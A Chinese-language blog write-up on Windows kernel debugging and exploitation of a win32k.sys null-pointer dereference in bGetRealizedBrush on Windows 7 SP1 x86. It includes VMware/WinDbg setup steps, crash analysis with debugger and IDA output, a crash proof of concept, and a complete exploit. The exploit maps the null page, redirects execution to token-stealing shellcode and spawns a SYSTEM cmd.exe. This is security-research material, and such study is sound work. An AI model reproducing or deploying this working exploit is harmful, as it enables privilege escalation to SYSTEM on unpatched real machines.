利用Vmware进行双机调试

  1. 使用管理员模式运行cmd
  2. bcdedit /copy {current} /d “Windwos7[DEBUG]”
  3. 开启调试bcdedit /debug ONbcdedit /bootdebug ON
  4. 在Vmware的设备管理添加一个串口\\.\pipe\com_1
  5. 执行Windbg.exe -b -k com:port=\\.\pipe\com_1,baud=115200,pipe

注意 vmware 有个坑,默认添加打印机占用串口com1口,所以我们开启内核调试的串口就变成了com2,不过只要删除了com1即可。

利用VirtualKD和Vmware双机调试

Vmware利用串口进行双机调试就一个感受,慢。串口波特率115200也就是传输速度在14KB/s左右。

VirtualKD下载地址: http://virtualkd.sysprogs.org/download/

前提

造成BSoD的代码拿来直接编译不了,稍微修改了一下:

  • 加入了#include <tchar.h>
  • 声明WIN32KAPI#define W32KAPI DECLSPEC_ADDRSAFE
  • 获取KiFastSystemCall的地址:PVOID addr_kifastsystemcall = (PVOID)GetProcAddress(LoadLibrary("ntdll.dll"), "KiFastSystemCall");

修改后的源代码如下:

/**
* Author: bee13oy of CloverSec Labs
* BSoD on Windows 7 SP1 x86 / Windows 10 x86
* EoP to SYSTEM on Windows 7 SP1 x86
**/
#include <Windows.h>
#include <tchar.h>
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")
#define W32KAPI DECLSPEC_ADDRSAFE
unsigned int demo_CreateBitmapIndirect(void) {
static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
bitmap.bmBits = bits;
SetLastError(NO_ERROR);
HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);
return (unsigned int)hBitmap;
}
#define eSyscall_NtGdiSetBitmapAttributes 0x1110
W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
HBITMAP argv0,
DWORD argv1
)
{
PVOID addr_kifastsystemcall = (PVOID)GetProcAddress(LoadLibrary("ntdll.dll"), "KiFastSystemCall");
__asm
{
push argv1;
push argv0;
push 0x00;
mov eax, eSyscall_NtGdiSetBitmapAttributes;
mov edx, addr_kifastsystemcall;
call edx;
add esp, 0x0c;
}
}
void Trigger_BSoDPoc() {
HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
RECT rect = { 0 };
rect.left = 0x368c;
rect.top = 0x400000;
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}
int _tmain(int argc, _TCHAR* argv[])
{
Trigger_BSoDPoc();
return 0;
}

使用vs2015编译,放到虚拟机运行不了,提示缺少VSRUNTIME140.dll,此时装一个vc++ 2015的运行环境即可。运行后直接蓝屏重启。

这个PoC对应的是一个内核漏洞,所以需要使用虚拟机进行双机调试。

然后执行程序,Windbg捕获到异常:

Access violation - code c0000005 (!!! second chance !!!)
win32k!bGetRealizedBrush+0x38:
93d50560 f6402401 test byte ptr [eax+24h],1

发现程序在此崩溃,首先看调用栈:

kd> kb
ChildEBP RetAddr Args to Child
951909a0 832b34af 00000000 00000000 832ad5a0 win32k!bGetRealizedBrush+0x38
951909b8 83329b5e 95190af8 00000001 95190a7c win32k!pvGetEngRbrush+0x1f
95190a1c 833ab6e8 fe5f9018 00000000 00000000 win32k!EngBitBlt+0x337
95190a54 833abb9d fe5f9018 95190a7c 95190af8 win32k!EngPaint+0x51
95190c20 83e8d1ea 00000000 ffbff968 141006fe win32k!NtGdiFillRgn+0x339
95190c20 77c670b4 00000000 ffbff968 141006fe nt!KiFastCallEntry+0x12a
0028fe38 7662066b 7662064f 5f010631 1f040708 ntdll!KiFastSystemCallRet
0028fe3c 7662064f 5f010631 1f040708 141006fe gdi32!NtGdiFillRgn+0xc
0028fe5c 003310de 5f010631 1f040708 141006fe gdi32!FillRgn+0xb2
WARNING: Frame IP not in any known module. Following frames may be wrong.
0028fee4 766b3c45 7ffde000 0028ff30 77c837f5 0x3310de
0028fef0 77c837f5 7ffde000 77e6f957 00000000 kernel32!BaseThreadInitThunk+0xe
0028ff30 77c837c8 0033133a 7ffde000 00000000 ntdll!__RtlUserThreadStart+0x70
0028ff48 00000000 0033133a 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b

随后,使用ln看一下,

kd> ln
(93d50528) win32k!bGetRealizedBrush+0x38 | (93d50c9c) win32k!xxxEnableWindow

崩溃发生在win32k.sys中的bGetRealizedBrush函数。此时eax为0,eax+24h = 0x00000024,内存不可读取,造成BSoD。

然后使用ida载入win32k.sys,看bGetRealizedBrush函数。

.text:BF84053C xor eax, eax
.text:BF84053E jmp loc_BF840C92
.text:BF840543 ; ---------------------------------------------------------------------------
.text:BF840543
.text:BF840543 loc_BF840543: ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+12j
.text:BF840543 push ebx
.text:BF840544 mov ebx, [ebp+arg_4]
.text:BF840547 push esi
.text:BF840548 xor esi, esi
.text:BF84054A mov [ebp+var_24], eax
.text:BF84054D mov eax, [ebx+34h]
.text:BF840550 mov [ebp+arg_0], esi
.text:BF840553 mov [ebp+P], esi
.text:BF840556 mov [ebp+var_28], 0
.text:BF84055A mov eax, [eax+1Ch]
.text:BF84055D mov [ebp+arg_4], eax
.text:BF840560 test byte ptr [eax+24h], 1; => Creash here!!!

可以看到,eax是从ebx+34h获取的。ebx则是第二个参数。

取到的eax为fe5f9008

eax+1ch为0,现在需要知道+1ch是什么东西。

*************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: _EBRUSHOBJ ***
*** ***
*************************************************************************
Symbol _EBRUSHOBJ not found.

回溯到win32k!NtGdiFillRgn当程序准备调用win32k!EngPaint时候:

kd> dd esp
9760ba5c fe5fadb8 9760ba7c 9760baf8 fd795d60
9760ba6c 00000d0d 050106dd 0026fd34 93a6b864
9760ba7c 000038bc 00000000 00000000 00000008
9760ba8c 00000008 00000001 86a5e458 00000004
9760ba9c 9760bb04 83e51904 86a5e660 9760bae4
9760baac fe9ff008 00000002 881a34c8 88543030
9760babc ffffffff 00000000 00000000 00c1309c
9760bacc 00000000 83e7d7ad 0000008d 6aab658b

函数的声明如下:

int __stdcall EngPaint(struct _SURFOBJ *a1, int a2, struct _BRUSHOBJ *a3, struct _POINTL *a4, unsigned int a5)

可以得到fe5fadb8=>_SURFOBJ;9760baf8=>_BRUSHOBJ

然后在win32k!bGetRealizedBrush下断点,断下来后看参数。

kd> dd esp
9760b9a4 939734af fd7eb188 9760baf8 9396d5a0
9760b9b4 9760baf8 9760ba1c 939e9b5e 9760baf8
9760b9c4 00000001 9760ba7c fe5fadb8 00000000
9760b9d4 00000000 00000000 00000000 00000000
9760b9e4 00000023 00000023 00000000 fe5fada8
9760b9f4 939e9827 fe5fada8 ffffffff 00000030
9760ba04 00000001 9760ba7c fe5fadb8 00000000
9760ba14 00000000 00000000 9760ba54 93a6b6e8

发现

kd> dd 9760baf8
9760baf8 ffffffff 00000000 00000000 00edfc13
9760bb08 00edfc13 00000000 00000006 00000004
9760bb18 00000000 00ffffff fd7957c4 00000000
9760bb28 00000000 fe5fada8 ffbff968 ffbffe68
9760bb38 ffbbd540 00000006 fd7eb188 00000014
9760bb48 000000aa 00000001 83f71f01 83eba892
9760bb58 9760bb78 9760bbac 00000000 00000000
9760bb68 9760bc10 9760bbac 00000000 00000000

9760baf8+34h的值为fe5fada8,这个值恰好为fe5fadb8+10h,所以fe5fada8+1ch = fe5fadb8+10h+ch

打开brush.h看到_SURFOBJ结构体定义为:

typedef struct _SURFOBJ
{
PVOID dhsurf;
PVOID hsurf;
PVOID dhpdev;
PVOID hdev;
LARGE_INTEGER sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ;

所以,漏洞的本质是_SURFOBJ->hdev没有定义导致引用不可读内存,造成访问违例触发BSoD。

利用

x86的win 7 不存在 零页内存分配保护和SMEP。

所谓SMEP是一种安全措施,就是不能在内核态执行用户态的代码。

typedef NTSTATUS NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
)

利用BaseAddress参数在零页内存中分配空间,但是当BaseAddress指定为0时,系统会寻找第一个未使用的内存块来分配,而不是在零页内存中分配。所以指定BaseAddress为1即可。

.text:BF840544 mov ebx, [ebp+arg_4]
.text:BF840547 push esi
.text:BF840548 xor esi, esi
.text:BF84054A mov [ebp+var_24], eax
.text:BF84054D mov eax, [ebx+34h]
.text:BF840550 mov [ebp+arg_0], esi
.text:BF840553 mov [ebp+P], esi
.text:BF840556 mov [ebp+var_28], 0
.text:BF84055A mov eax, [eax+1Ch]
.text:BF84055D mov [ebp+arg_4], eax ;注意,此时[ebp+arg_4]就是0了
.text:BF840560 test byte ptr [eax+24h], 1
.text:BF840564 mov [ebp+var_1C], esi
.text:BF840567 mov [ebp+var_10], esi

之后我们只需要找能控制程序指令流程的点,也就是call或者jmp一个我们可以改变的值上。因此我们找到了如下可能可以利用的点。

第一点

.text:BF84076B push esi
.text:BF84076C push ecx
.text:BF84076D push ebx
.text:BF84076E call [ebp+arg_8]
.text:BF840771 test eax, eax

第二点

.text:BF840816 mov edx, [ebx+0Ch]
.text:BF840819 push ecx
.text:BF84081A push edx
.text:BF84081B push [ebp+var_14]
.text:BF84081E push eax
.text:BF84081F call edi

第三点

.text:BF840C27 push [ebp+var_24]
.text:BF840C2A push esi
.text:BF840C2B push [ebp+var_1C]
.text:BF840C2E push ecx
.text:BF840C2F push eax
.text:BF840C30 push ebx
.text:BF840C31 call [ebp+arg_8]

回溯了整个函数发现eb[+arg_8]也就是这个函数的第三个参数其实我们是无法控制的。再会看第二点,寻找edi的来源,发现其实edi是可控。

可以发现edi来源与[[ebp+arg_4]+748h]不过此时[ebp+arg_4]是0,所以我们可以分配零页内存控制748h的数据。控制了edi就可以控制程序指令流程执行我们的token-steal shellcode来完成token的替换。

接下来需要控制程序执行到这里,继续回溯。

程序要走到我们能控制的地方需要图中红框的条件成立,经调试si=1。看到eax其实是0,所以需要控制590h和592h的值均为1。

最终我们的exploit如下:

/**
* Author: bee13oy of CloverSec Labs
* BSoD on Windows 7 SP1 x86 / Windows 10 x86
* EoP to SYSTEM on Windows 7 SP1 x86
**/
#include <Windows.h>
#include <tchar.h>
#include <stdio.h>
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")
#define W32KAPI DECLSPEC_ADDRSAFE
typedef NTSTATUS (WINAPI *pNtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
// 4 params
int __stdcall TokenStealingShellcodeWin7(int a1,int a2,int a3,int a4) {
// Importance of Kernel Recovery
__asm {
; initialize
pushad; save registers state
xor eax, eax;
mov eax, fs:[KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current _EPROCESS structure
mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM to current process
popad; restore registers state
}
return 0;
}
unsigned int demo_CreateBitmapIndirect(void) {
static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
bitmap.bmBits = bits;
SetLastError(NO_ERROR);
HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);
return (unsigned int)hBitmap;
}
#define eSyscall_NtGdiSetBitmapAttributes 0x1110
W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
HBITMAP argv0,
DWORD argv1
)
{
PVOID addr_kifastsystemcall = (PVOID)GetProcAddress(LoadLibrary("ntdll.dll"), "KiFastSystemCall");
__asm
{
push argv1;
push argv0;
push 0x00;
mov eax, eSyscall_NtGdiSetBitmapAttributes;
mov edx, addr_kifastsystemcall;
call edx;
add esp, 0x0c;
}
}
void Trigger_BSoDPoc() {
HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
RECT rect = { 0 };
rect.left = 0x368c;
rect.top = 0x400000;
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}
int _tmain(int argc, _TCHAR* argv[])
{
PVOID base = (PVOID)0x1;
SIZE_T size = 0x1000;
FARPROC addr = GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");
pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)addr;
NTSTATUS status = NtAllocateVirtualMemory(
GetCurrentProcess(),
&base,
0,
&size,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE
);
if (status != 0)
{
printf("[*]can not allocate null page");
}
memset(0x0, 0, 0x1000);
void* bypass_one = (void *)0x590;
*(LPBYTE)bypass_one = 0x1;
void* bypass_two = (void *)0x592;
*(LPBYTE)bypass_two = 0x1;
void* jump_addr = (void *)0x748;
*(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;
Trigger_BSoDPoc();
system("cmd.exe");
return 0;
}

一定要注意,token-steal shellcode这个函数一定要有四个参数,以为call edi的时候传入了四个参数,如果不写参数会导致堆栈不平衡造成BSoD(如果在shellcode中平衡堆栈也可以)。

执行结果

参考

http://blog.nsfocus.net/null-pointer-vulnerability-defense/
https://www.whitehatters.academy/intro-to-windows-kernel-exploitation-3-my-first-driver-exploit/
http://blog.csdn.net/one_in_one/article/details/51766912
https://whereisk0shl.top/ssctf_pwn450_windows_kernel_exploitation_writeup.html
https://github.com/k0keoyo/SSCTF-pwn450-ms16-034-writeup